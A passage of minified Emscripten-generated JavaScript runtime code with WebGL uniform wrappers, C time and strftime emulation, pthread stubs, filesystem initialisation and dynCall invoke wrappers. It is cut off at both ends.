_glUniform2uiv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform2uiv(GL.uniforms[location],HEAPU32,value>>2,count*2)}else{GLctx.uniform2uiv(GL.uniforms[location],HEAPU32.subarray(value>>2,value+count*8>>2))}}function _glUniform3fv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform3fv(GL.uniforms[location],HEAPF32,value>>2,count*3);return}var view;if(3*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[3*count-1];for(var i=0;i<3*count;i+=3){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2];view[i+2]=HEAPF32[value+(4*i+8)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*12>>2)}GLctx.uniform3fv(GL.uniforms[location],view)}function _glUniform3iv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform3iv(GL.uniforms[location],HEAP32,value>>2,count*3);return}GLctx.uniform3iv(GL.uniforms[location],HEAP32.subarray(value>>2,value+count*12>>2))}function _glUniform3uiv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform3uiv(GL.uniforms[location],HEAPU32,value>>2,count*3)}else{GLctx.uniform3uiv(GL.uniforms[location],HEAPU32.subarray(value>>2,value+count*12>>2))}}function _glUniform4fv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform4fv(GL.uniforms[location],HEAPF32,value>>2,count*4);return}var view;if(4*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[4*count-1];for(var i=0;i<4*count;i+=4){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2];view[i+2]=HEAPF32[value+(4*i+8)>>2];view[i+3]=HEAPF32[value+(4*i+12)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*16>>2)}GLctx.uniform4fv(GL.uniforms[location],view)}function _glUniform4iv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform4iv(GL.uniforms[location],HEAP32,value>>2,count*4);return}GLctx.uniform4iv(GL.uniforms[location],HEAP32.subarray(value>>2,value+count*16>>2))}function _glUniform4uiv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform4uiv(GL.uniforms[location],HEAPU32,value>>2,count*4)}else{GLctx.uniform4uiv(GL.uniforms[location],HEAPU32.subarray(value>>2,value+count*16>>2))}}function _glUniformBlockBinding(program,uniformBlockIndex,uniformBlockBinding){program=GL.programs[program];GLctx[\"uniformBlockBinding\"](program,uniformBlockIndex,uniformBlockBinding)}function _glUniformMatrix3fv(location,count,transpose,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniformMatrix3fv(GL.uniforms[location],!!transpose,HEAPF32,value>>2,count*9);return}var view;if(9*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[9*count-1];for(var i=0;i<9*count;i+=9){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2];view[i+2]=HEAPF32[value+(4*i+8)>>2];view[i+3]=HEAPF32[value+(4*i+12)>>2];view[i+4]=HEAPF32[value+(4*i+16)>>2];view[i+5]=HEAPF32[value+(4*i+20)>>2];view[i+6]=HEAPF32[value+(4*i+24)>>2];view[i+7]=HEAPF32[value+(4*i+28)>>2];view[i+8]=HEAPF32[value+(4*i+32)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*36>>2)}GLctx.uniformMatrix3fv(GL.uniforms[location],!!transpose,view)}function _glUniformMatrix4fv(location,count,transpose,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniformMatrix4fv(GL.uniforms[location],!!transpose,HEAPF32,value>>2,count*16);return}var view;if(16*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[16*count-1];for(var i=0;i<16*count;i+=16){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2];view[i+2]=HEAPF32[value+(4*i+8)>>2];view[i+3]=HEAPF32[value+(4*i+12)>>2];view[i+4]=HEAPF32[value+(4*i+16)>>2];view[i+5]=HEAPF32[value+(4*i+20)>>2];view[i+6]=HEAPF32[value+(4*i+24)>>2];view[i+7]=HEAPF32[value+(4*i+28)>>2];view[i+8]=HEAPF32[value+(4*i+32)>>2];view[i+9]=HEAPF32[value+(4*i+36)>>2];view[i+10]=HEAPF32[value+(4*i+40)>>2];view[i+11]=HEAPF32[value+(4*i+44)>>2];view[i+12]=HEAPF32[value+(4*i+48)>>2];view[i+13]=HEAPF32[value+(4*i+52)>>2];view[i+14]=HEAPF32[value+(4*i+56)>>2];view[i+15]=HEAPF32[value+(4*i+60)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*64>>2)}GLctx.uniformMatrix4fv(GL.uniforms[location],!!transpose,view)}function _glUnmapBuffer(target){if(!emscriptenWebGLValidateMapBufferTarget(target)){GL.recordError(1280);err(\"GL_INVALID_ENUM in glUnmapBuffer\");return 0}var buffer=emscriptenWebGLGetBufferBinding(target);var mapping=GL.mappedBuffers[buffer];if(!mapping){GL.recordError(1282);Module.printError(\"buffer was never mapped in glUnmapBuffer\");return 0}GL.mappedBuffers[buffer]=null;if(!(mapping.access&16))if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.bufferSubData(target,mapping.offset,HEAPU8,mapping.mem,mapping.length)}else{GLctx.bufferSubData(target,mapping.offset,HEAPU8.subarray(mapping.mem,mapping.mem+mapping.length))}_free(mapping.mem);return 1}function _glUseProgram(program){GLctx.useProgram(program?GL.programs[program]:null)}function _glValidateProgram(program){GLctx.validateProgram(GL.programs[program])}function _glVertexAttrib4f(x0,x1,x2,x3,x4){GLctx[\"vertexAttrib4f\"](x0,x1,x2,x3,x4)}function _glVertexAttrib4fv(index,v){GLctx.vertexAttrib4f(index,HEAPF32[v>>2],HEAPF32[v+4>>2],HEAPF32[v+8>>2],HEAPF32[v+12>>2])}function _glVertexAttribIPointer(index,size,type,stride,ptr){var cb=GL.currentContext.clientBuffers[index];if(!GL.currArrayBuffer){cb.size=size;cb.type=type;cb.normalized=false;cb.stride=stride;cb.ptr=ptr;cb.clientside=true;return}cb.clientside=false;GLctx.vertexAttribIPointer(index,size,type,stride,ptr)}function _glVertexAttribPointer(index,size,type,normalized,stride,ptr){GLctx.vertexAttribPointer(index,size,type,!!normalized,stride,ptr)}function _glViewport(x0,x1,x2,x3){GLctx[\"viewport\"](x0,x1,x2,x3)}var ___tm_current=STATICTOP;STATICTOP+=48;var ___tm_timezone=allocate(intArrayFromString(\"GMT\"),\"i8\",ALLOC_STATIC);function _gmtime_r(time,tmPtr){var date=new Date(HEAP32[time>>2]*1e3);HEAP32[tmPtr>>2]=date.getUTCSeconds();HEAP32[tmPtr+4>>2]=date.getUTCMinutes();HEAP32[tmPtr+8>>2]=date.getUTCHours();HEAP32[tmPtr+12>>2]=date.getUTCDate();HEAP32[tmPtr+16>>2]=date.getUTCMonth();HEAP32[tmPtr+20>>2]=date.getUTCFullYear()-1900;HEAP32[tmPtr+24>>2]=date.getUTCDay();HEAP32[tmPtr+36>>2]=0;HEAP32[tmPtr+32>>2]=0;var start=Date.UTC(date.getUTCFullYear(),0,1,0,0,0,0);var yday=(date.getTime()-start)/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday;HEAP32[tmPtr+40>>2]=___tm_timezone;return tmPtr}function _gmtime(time){return _gmtime_r(time,___tm_current)}function _inet_addr(ptr){var addr=__inet_pton4_raw(Pointer_stringify(ptr));if(addr===null){return-1}return addr}var _llvm_ceil_f32=Math_ceil;var _llvm_ceil_f64=Math_ceil;function _llvm_copysign_f64(x,y){return y<0||y===0&&1/y<0?-Math_abs(x):Math_abs(x)}var _llvm_cos_f32=Math_cos;function _llvm_cttz_i32(x){x=x|0;return(x?31-(Math_clz32(x^x-1)|0)|0:32)|0}function _llvm_eh_typeid_for(type){return type}function _llvm_exp2_f32(x){return Math.pow(2,x)}var _llvm_fabs_f32=Math_abs;var _llvm_fabs_f64=Math_abs;var _llvm_floor_f32=Math_floor;var _llvm_floor_f64=Math_floor;function _llvm_log10_f32(x){return Math.log(x)/Math.LN10}function _llvm_log2_f32(x){return Math.log(x)/Math.LN2}var _llvm_pow_f64=Math_pow;var _llvm_sin_f32=Math_sin;var _llvm_sqrt_f32=Math_sqrt;function _llvm_trap(){abort(\"trap!\")}var _llvm_trunc_f32=Math_trunc;function _tzset(){if(_tzset.called)return;_tzset.called=true;HEAP32[__get_timezone()>>2]=(new Date).getTimezoneOffset()*60;var currentYear=(new Date).getFullYear();var winter=new Date(currentYear,0,1);var summer=new Date(currentYear,6,1);HEAP32[__get_daylight()>>2]=Number(winter.getTimezoneOffset()!=summer.getTimezoneOffset());function extractZone(date){var match=date.toTimeString().match(/\\(([A-Za-z ]+)\\)$/);return match?match[1]:\"GMT\"}var winterName=extractZone(winter);var summerName=extractZone(summer);var winterNamePtr=allocate(intArrayFromString(winterName),\"i8\",ALLOC_NORMAL);var summerNamePtr=allocate(intArrayFromString(summerName),\"i8\",ALLOC_NORMAL);if(summer.getTimezoneOffset()<winter.getTimezoneOffset()){HEAP32[__get_tzname()>>2]=winterNamePtr;HEAP32[__get_tzname()+4>>2]=summerNamePtr}else{HEAP32[__get_tzname()>>2]=summerNamePtr;HEAP32[__get_tzname()+4>>2]=winterNamePtr}}function _localtime_r(time,tmPtr){_tzset();var date=new Date(HEAP32[time>>2]*1e3);HEAP32[tmPtr>>2]=date.getSeconds();HEAP32[tmPtr+4>>2]=date.getMinutes();HEAP32[tmPtr+8>>2]=date.getHours();HEAP32[tmPtr+12>>2]=date.getDate();HEAP32[tmPtr+16>>2]=date.getMonth();HEAP32[tmPtr+20>>2]=date.getFullYear()-1900;HEAP32[tmPtr+24>>2]=date.getDay();var start=new Date(date.getFullYear(),0,1);var yday=(date.getTime()-start.getTime())/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday;HEAP32[tmPtr+36>>2]=-(date.getTimezoneOffset()*60);var summerOffset=(new Date(date.getFullYear(),6,1)).getTimezoneOffset();var winterOffset=start.getTimezoneOffset();var dst=(summerOffset!=winterOffset&&date.getTimezoneOffset()==Math.min(winterOffset,summerOffset))|0;HEAP32[tmPtr+32>>2]=dst;var zonePtr=HEAP32[__get_tzname()+(dst?4:0)>>2];HEAP32[tmPtr+40>>2]=zonePtr;return tmPtr}function _localtime(time){return _localtime_r(time,___tm_current)}function _longjmp(env,value){Module[\"setThrew\"](env,value||1);throw\"longjmp\"}function _emscripten_memcpy_big(dest,src,num){HEAPU8.set(HEAPU8.subarray(src,src+num),dest);return dest}function _mktime(tmPtr){_tzset();var date=new Date(HEAP32[tmPtr+20>>2]+1900,HEAP32[tmPtr+16>>2],HEAP32[tmPtr+12>>2],HEAP32[tmPtr+8>>2],HEAP32[tmPtr+4>>2],HEAP32[tmPtr>>2],0);var dst=HEAP32[tmPtr+32>>2];var guessedOffset=date.getTimezoneOffset();var start=new Date(date.getFullYear(),0,1);var summerOffset=(new Date(date.getFullYear(),6,1)).getTimezoneOffset();var winterOffset=start.getTimezoneOffset();var dstOffset=Math.min(winterOffset,summerOffset);if(dst<0){HEAP32[tmPtr+32>>2]=Number(summerOffset!=winterOffset&&dstOffset==guessedOffset)}else if(dst>0!=(dstOffset==guessedOffset)){var nonDstOffset=Math.max(winterOffset,summerOffset);var trueOffset=dst>0?dstOffset:nonDstOffset;date.setTime(date.getTime()+(trueOffset-guessedOffset)*6e4)}HEAP32[tmPtr+24>>2]=date.getDay();var yday=(date.getTime()-start.getTime())/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday;return date.getTime()/1e3|0}function _usleep(useconds){var msec=useconds/1e3;if((ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER)&&self[\"performance\"]&&self[\"performance\"][\"now\"]){var start=self[\"performance\"][\"now\"]();while(self[\"performance\"][\"now\"]()-start<msec){}}else{var start=Date.now();while(Date.now()-start<msec){}}return 0}function _nanosleep(rqtp,rmtp){var seconds=HEAP32[rqtp>>2];var nanoseconds=HEAP32[rqtp+4>>2];if(rmtp!==0){HEAP32[rmtp>>2]=0;HEAP32[rmtp+4>>2]=0}return _usleep(seconds*1e6+nanoseconds/1e3)}function _pthread_cond_destroy(){return 0}function _pthread_cond_init(){return 0}function _pthread_cond_timedwait(){return 0}function _pthread_cond_wait(){return 0}var PTHREAD_SPECIFIC={};function _pthread_getspecific(key){return PTHREAD_SPECIFIC[key]||0}var PTHREAD_SPECIFIC_NEXT_KEY=1;function _pthread_key_create(key,destructor){if(key==0){return ERRNO_CODES.EINVAL}HEAP32[key>>2]=PTHREAD_SPECIFIC_NEXT_KEY;PTHREAD_SPECIFIC[PTHREAD_SPECIFIC_NEXT_KEY]=0;PTHREAD_SPECIFIC_NEXT_KEY++;return 0}function _pthread_key_delete(key){if(key in PTHREAD_SPECIFIC){delete PTHREAD_SPECIFIC[key];return 0}return ERRNO_CODES.EINVAL}function _pthread_mutex_destroy(){}function _pthread_mutex_init(){}function _pthread_mutexattr_destroy(){}function _pthread_mutexattr_init(){}function _pthread_mutexattr_setprotocol(){}function _pthread_mutexattr_settype(){}function _pthread_once(ptr,func){if(!_pthread_once.seen)_pthread_once.seen={};if(ptr in _pthread_once.seen)return;Module[\"dynCall_v\"](func);_pthread_once.seen[ptr]=1}function _pthread_setspecific(key,value){if(!(key in PTHREAD_SPECIFIC)){return ERRNO_CODES.EINVAL}PTHREAD_SPECIFIC[key]=value;return 0}function _sched_yield(){return 0}function _setenv(envname,envval,overwrite){if(envname===0){___setErrNo(ERRNO_CODES.EINVAL);return-1}var name=Pointer_stringify(envname);var val=Pointer_stringify(envval);if(name===\"\"||name.indexOf(\"=\")!==-1){___setErrNo(ERRNO_CODES.EINVAL);return-1}if(ENV.hasOwnProperty(name)&&!overwrite)return 0;ENV[name]=val;___buildEnvironment(__get_environ());return 0}function _sigaction(signum,act,oldact){return 0}function _sigemptyset(set){HEAP32[set>>2]=0;return 0}function __isLeapYear(year){return year%4===0&&(year%100!==0||year%400===0)}function __arraySum(array,index){var sum=0;for(var i=0;i<=index;sum+=array[i++]);return sum}var __MONTH_DAYS_LEAP=[31,29,31,30,31,30,31,31,30,31,30,31];var __MONTH_DAYS_REGULAR=[31,28,31,30,31,30,31,31,30,31,30,31];function __addDays(date,days){var newDate=new Date(date.getTime());while(days>0){var leap=__isLeapYear(newDate.getFullYear());var currentMonth=newDate.getMonth();var daysInCurrentMonth=(leap?__MONTH_DAYS_LEAP:__MONTH_DAYS_REGULAR)[currentMonth];if(days>daysInCurrentMonth-newDate.getDate()){days-=daysInCurrentMonth-newDate.getDate()+1;newDate.setDate(1);if(currentMonth<11){newDate.setMonth(currentMonth+1)}else{newDate.setMonth(0);newDate.setFullYear(newDate.getFullYear()+1)}}else{newDate.setDate(newDate.getDate()+days);return newDate}}return newDate}function _strftime(s,maxsize,format,tm){var tm_zone=HEAP32[tm+40>>2];var date={tm_sec:HEAP32[tm>>2],tm_min:HEAP32[tm+4>>2],tm_hour:HEAP32[tm+8>>2],tm_mday:HEAP32[tm+12>>2],tm_mon:HEAP32[tm+16>>2],tm_year:HEAP32[tm+20>>2],tm_wday:HEAP32[tm+24>>2],tm_yday:HEAP32[tm+28>>2],tm_isdst:HEAP32[tm+32>>2],tm_gmtoff:HEAP32[tm+36>>2],tm_zone:tm_zone?Pointer_stringify(tm_zone):\"\"};var pattern=Pointer_stringify(format);var EXPANSION_RULES_1={\"%c\":\"%a %b %d %H:%M:%S %Y\",\"%D\":\"%m/%d/%y\",\"%F\":\"%Y-%m-%d\",\"%h\":\"%b\",\"%r\":\"%I:%M:%S %p\",\"%R\":\"%H:%M\",\"%T\":\"%H:%M:%S\",\"%x\":\"%m/%d/%y\",\"%X\":\"%H:%M:%S\"};for(var rule in EXPANSION_RULES_1){pattern=pattern.replace(new RegExp(rule,\"g\"),EXPANSION_RULES_1[rule])}var WEEKDAYS=[\"Sunday\",\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"];var MONTHS=[\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\"December\"];function leadingSomething(value,digits,character){var str=typeof value===\"number\"?value.toString():value||\"\";while(str.length<digits){str=character[0]+str}return str}function leadingNulls(value,digits){return leadingSomething(value,digits,\"0\")}function compareByDay(date1,date2){function sgn(value){return value<0?-1:value>0?1:0}var compare;if((compare=sgn(date1.getFullYear()-date2.getFullYear()))===0){if((compare=sgn(date1.getMonth()-date2.getMonth()))===0){compare=sgn(date1.getDate()-date2.getDate())}}return compare}function getFirstWeekStartDate(janFourth){switch(janFourth.getDay()){case 0:return new Date(janFourth.getFullYear()-1,11,29);case 1:return janFourth;case 2:return new Date(janFourth.getFullYear(),0,3);case 3:return new Date(janFourth.getFullYear(),0,2);case 4:return new Date(janFourth.getFullYear(),0,1);case 5:return new Date(janFourth.getFullYear()-1,11,31);case 6:return new Date(janFourth.getFullYear()-1,11,30)}}function getWeekBasedYear(date){var thisDate=__addDays(new Date(date.tm_year+1900,0,1),date.tm_yday);var janFourthThisYear=new Date(thisDate.getFullYear(),0,4);var janFourthNextYear=new Date(thisDate.getFullYear()+1,0,4);var firstWeekStartThisYear=getFirstWeekStartDate(janFourthThisYear);var firstWeekStartNextYear=getFirstWeekStartDate(janFourthNextYear);if(compareByDay(firstWeekStartThisYear,thisDate)<=0){if(compareByDay(firstWeekStartNextYear,thisDate)<=0){return thisDate.getFullYear()+1}else{return thisDate.getFullYear()}}else{return thisDate.getFullYear()-1}}var EXPANSION_RULES_2={\"%a\":(function(date){return WEEKDAYS[date.tm_wday].substring(0,3)}),\"%A\":(function(date){return WEEKDAYS[date.tm_wday]}),\"%b\":(function(date){return MONTHS[date.tm_mon].substring(0,3)}),\"%B\":(function(date){return MONTHS[date.tm_mon]}),\"%C\":(function(date){var year=date.tm_year+1900;return leadingNulls(year/100|0,2)}),\"%d\":(function(date){return leadingNulls(date.tm_mday,2)}),\"%e\":(function(date){return leadingSomething(date.tm_mday,2,\" \")}),\"%g\":(function(date){return getWeekBasedYear(date).toString().substring(2)}),\"%G\":(function(date){return getWeekBasedYear(date)}),\"%H\":(function(date){return leadingNulls(date.tm_hour,2)}),\"%I\":(function(date){var twelveHour=date.tm_hour;if(twelveHour==0)twelveHour=12;else if(twelveHour>12)twelveHour-=12;return leadingNulls(twelveHour,2)}),\"%j\":(function(date){return leadingNulls(date.tm_mday+__arraySum(__isLeapYear(date.tm_year+1900)?__MONTH_DAYS_LEAP:__MONTH_DAYS_REGULAR,date.tm_mon-1),3)}),\"%m\":(function(date){return leadingNulls(date.tm_mon+1,2)}),\"%M\":(function(date){return leadingNulls(date.tm_min,2)}),\"%n\":(function(){return\"\\n\"}),\"%p\":(function(date){if(date.tm_hour>=0&&date.tm_hour<12){return\"AM\"}else{return\"PM\"}}),\"%S\":(function(date){return leadingNulls(date.tm_sec,2)}),\"%t\":(function(){return\"\\t\"}),\"%u\":(function(date){var day=new Date(date.tm_year+1900,date.tm_mon+1,date.tm_mday,0,0,0,0);return day.getDay()||7}),\"%U\":(function(date){var janFirst=new Date(date.tm_year+1900,0,1);var firstSunday=janFirst.getDay()===0?janFirst:__addDays(janFirst,7-janFirst.getDay());var endDate=new Date(date.tm_year+1900,date.tm_mon,date.tm_mday);if(compareByDay(firstSunday,endDate)<0){var februaryFirstUntilEndMonth=__arraySum(__isLeapYear(endDate.getFullYear())?__MONTH_DAYS_LEAP:__MONTH_DAYS_REGULAR,endDate.getMonth()-1)-31;var firstSundayUntilEndJanuary=31-firstSunday.getDate();var days=firstSundayUntilEndJanuary+februaryFirstUntilEndMonth+endDate.getDate();return leadingNulls(Math.ceil(days/7),2)}return compareByDay(firstSunday,janFirst)===0?\"01\":\"00\"}),\"%V\":(function(date){var janFourthThisYear=new Date(date.tm_year+1900,0,4);var janFourthNextYear=new Date(date.tm_year+1901,0,4);var firstWeekStartThisYear=getFirstWeekStartDate(janFourthThisYear);var firstWeekStartNextYear=getFirstWeekStartDate(janFourthNextYear);var endDate=__addDays(new Date(date.tm_year+1900,0,1),date.tm_yday);if(compareByDay(endDate,firstWeekStartThisYear)<0){return\"53\"}if(compareByDay(firstWeekStartNextYear,endDate)<=0){return\"01\"}var daysDifference;if(firstWeekStartThisYear.getFullYear()<date.tm_year+1900){daysDifference=date.tm_yday+32-firstWeekStartThisYear.getDate()}else{daysDifference=date.tm_yday+1-firstWeekStartThisYear.getDate()}return leadingNulls(Math.ceil(daysDifference/7),2)}),\"%w\":(function(date){var day=new Date(date.tm_year+1900,date.tm_mon+1,date.tm_mday,0,0,0,0);return day.getDay()}),\"%W\":(function(date){var janFirst=new Date(date.tm_year,0,1);var firstMonday=janFirst.getDay()===1?janFirst:__addDays(janFirst,janFirst.getDay()===0?1:7-janFirst.getDay()+1);var endDate=new Date(date.tm_year+1900,date.tm_mon,date.tm_mday);if(compareByDay(firstMonday,endDate)<0){var februaryFirstUntilEndMonth=__arraySum(__isLeapYear(endDate.getFullYear())?__MONTH_DAYS_LEAP:__MONTH_DAYS_REGULAR,endDate.getMonth()-1)-31;var firstMondayUntilEndJanuary=31-firstMonday.getDate();var days=firstMondayUntilEndJanuary+februaryFirstUntilEndMonth+endDate.getDate();return leadingNulls(Math.ceil(days/7),2)}return compareByDay(firstMonday,janFirst)===0?\"01\":\"00\"}),\"%y\":(function(date){return(date.tm_year+1900).toString().substring(2)}),\"%Y\":(function(date){return date.tm_year+1900}),\"%z\":(function(date){var off=date.tm_gmtoff;var ahead=off>=0;off=Math.abs(off)/60;off=off/60*100+off%60;return(ahead?\"+\":\"-\")+String(\"0000\"+off).slice(-4)}),\"%Z\":(function(date){return date.tm_zone}),\"%%\":(function(){return\"%\"})};for(var rule in EXPANSION_RULES_2){if(pattern.indexOf(rule)>=0){pattern=pattern.replace(new RegExp(rule,\"g\"),EXPANSION_RULES_2[rule](date))}}var bytes=intArrayFromString(pattern,false);if(bytes.length>maxsize){return 0}writeArrayToMemory(bytes,s);return bytes.length-1}function _sysconf(name){switch(name){case 30:return PAGE_SIZE;case 85:var maxHeapSize=2*1024*1024*1024-65536;return maxHeapSize/PAGE_SIZE;case 132:case 133:case 12:case 137:case 138:case 15:case 235:case 16:case 17:case 18:case 19:case 20:case 149:case 13:case 10:case 236:case 153:case 9:case 21:case 22:case 159:case 154:case 14:case 77:case 78:case 139:case 80:case 81:case 82:case 68:case 67:case 164:case 11:case 29:case 47:case 48:case 95:case 52:case 51:case 46:return 200809;case 79:return 0;case 27:case 246:case 127:case 128:case 23:case 24:case 160:case 161:case 181:case 182:case 242:case 183:case 184:case 243:case 244:case 245:case 165:case 178:case 179:case 49:case 50:case 168:case 169:case 175:case 170:case 171:case 172:case 97:case 76:case 32:case 173:case 35:return-1;case 176:case 177:case 7:case 155:case 8:case 157:case 125:case 126:case 92:case 93:case 129:case 130:case 131:case 94:case 91:return 1;case 74:case 60:case 69:case 70:case 4:return 1024;case 31:case 42:case 72:return 32;case 87:case 26:case 33:return 2147483647;case 34:case 1:return 47839;case 38:case 36:return 99;case 43:case 37:return 2048;case 0:return 2097152;case 3:return 65536;case 28:return 32768;case 44:return 32767;case 75:return 16384;case 39:return 1e3;case 89:return 700;case 71:return 256;case 40:return 255;case 2:return 100;case 180:return 64;case 25:return 20;case 5:return 16;case 6:return 6;case 73:return 4;case 84:{if(typeof navigator===\"object\")return navigator[\"hardwareConcurrency\"]||1;return 1}}___setErrNo(ERRNO_CODES.EINVAL);return-1}function _time(ptr){var ret=Date.now()/1e3|0;if(ptr){HEAP32[ptr>>2]=ret}return ret}function _unsetenv(name){if(name===0){___setErrNo(ERRNO_CODES.EINVAL);return-1}name=Pointer_stringify(name);if(name===\"\"||name.indexOf(\"=\")!==-1){___setErrNo(ERRNO_CODES.EINVAL);return-1}if(ENV.hasOwnProperty(name)){delete ENV[name];___buildEnvironment(__get_environ())}return 0}function _utime(path,times){var time;if(times){var offset=4;time=HEAP32[times+offset>>2];time*=1e3}else{time=Date.now()}path=Pointer_stringify(path);try{FS.utime(path,time,time);return 0}catch(e){FS.handleFSError(e);return-1}}FS.staticInit();__ATINIT__.unshift((function(){if(!Module[\"noFSInit\"]&&!FS.init.initialized)FS.init()}));__ATMAIN__.push((function(){FS.ignorePermissions=false}));__ATEXIT__.push((function(){FS.quit()}));Module[\"FS_createPath\"]=FS.createPath;Module[\"FS_createDataFile\"]=FS.createDataFile;__ATINIT__.unshift((function(){TTY.init()}));__ATEXIT__.push((function(){TTY.shutdown()}));if(ENVIRONMENT_IS_NODE){var fs=require(\"fs\");var NODEJS_PATH=require(\"path\");NODEFS.staticInit()}__ATINIT__.push((function(){SOCKFS.root=FS.mount(SOCKFS,{},null)}));if(ENVIRONMENT_IS_NODE){_emscripten_get_now=function _emscripten_get_now_actual(){var t=process[\"hrtime\"]();return t[0]*1e3+t[1]/1e6}}else if(typeof dateNow!==\"undefined\"){_emscripten_get_now=dateNow}else if(typeof self===\"object\"&&self[\"performance\"]&&typeof self[\"performance\"][\"now\"]===\"function\"){_emscripten_get_now=(function(){return self[\"performance\"][\"now\"]()})}else if(typeof performance===\"object\"&&typeof performance[\"now\"]===\"function\"){_emscripten_get_now=(function(){return performance[\"now\"]()})}else{_emscripten_get_now=Date.now}Module[\"requestFullScreen\"]=function Module_requestFullScreen(lockPointer,resizeCanvas,vrDevice){err(\"Module.requestFullScreen is deprecated. Please call Module.requestFullscreen instead.\");Module[\"requestFullScreen\"]=Module[\"requestFullscreen\"];Browser.requestFullScreen(lockPointer,resizeCanvas,vrDevice)};Module[\"requestFullscreen\"]=function Module_requestFullscreen(lockPointer,resizeCanvas,vrDevice){Browser.requestFullscreen(lockPointer,resizeCanvas,vrDevice)};Module[\"requestAnimationFrame\"]=function Module_requestAnimationFrame(func){Browser.requestAnimationFrame(func)};Module[\"setCanvasSize\"]=function Module_setCanvasSize(width,height,noUpdates){Browser.setCanvasSize(width,height,noUpdates)};Module[\"pauseMainLoop\"]=function Module_pauseMainLoop(){Browser.mainLoop.pause()};Module[\"resumeMainLoop\"]=function Module_resumeMainLoop(){Browser.mainLoop.resume()};Module[\"getUserMedia\"]=function Module_getUserMedia(){Browser.getUserMedia()};Module[\"createContext\"]=function Module_createContext(canvas,useWebGL,setInModule,webGLContextAttributes){return Browser.createContext(canvas,useWebGL,setInModule,webGLContextAttributes)};JSEvents.staticInit();var GLctx;GL.init();DYNAMICTOP_PTR=staticAlloc(4);STACK_BASE=STACKTOP=alignMemory(STATICTOP);STACK_MAX=STACK_BASE+TOTAL_STACK;DYNAMIC_BASE=alignMemory(STACK_MAX);HEAP32[DYNAMICTOP_PTR>>2]=DYNAMIC_BASE;staticSealed=true;function intArrayFromString(stringy,dontAddNull,length){var len=length>0?length:lengthBytesUTF8(stringy)+1;var u8array=new Array(len);var numBytesWritten=stringToUTF8Array(stringy,u8array,0,u8array.length);if(dontAddNull)u8array.length=numBytesWritten;return u8array}Module[\"wasmTableSize\"]=70313;Module[\"wasmMaxTableSize\"]=70313;function invoke_dddi(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_dddi\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ddi(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_ddi\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ddidi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_ddidi\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_dfi(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_dfi\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_di(index,a1){var sp=stackSave();try{return Module[\"dynCall_di\"](index,a1)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_diddi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_diddi\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_didi(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_didi\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_dii(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_dii\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_diii(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_diii\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_diiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_diiii\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_dji(index,a1,a2,a3){var sp=stackSave();try{return 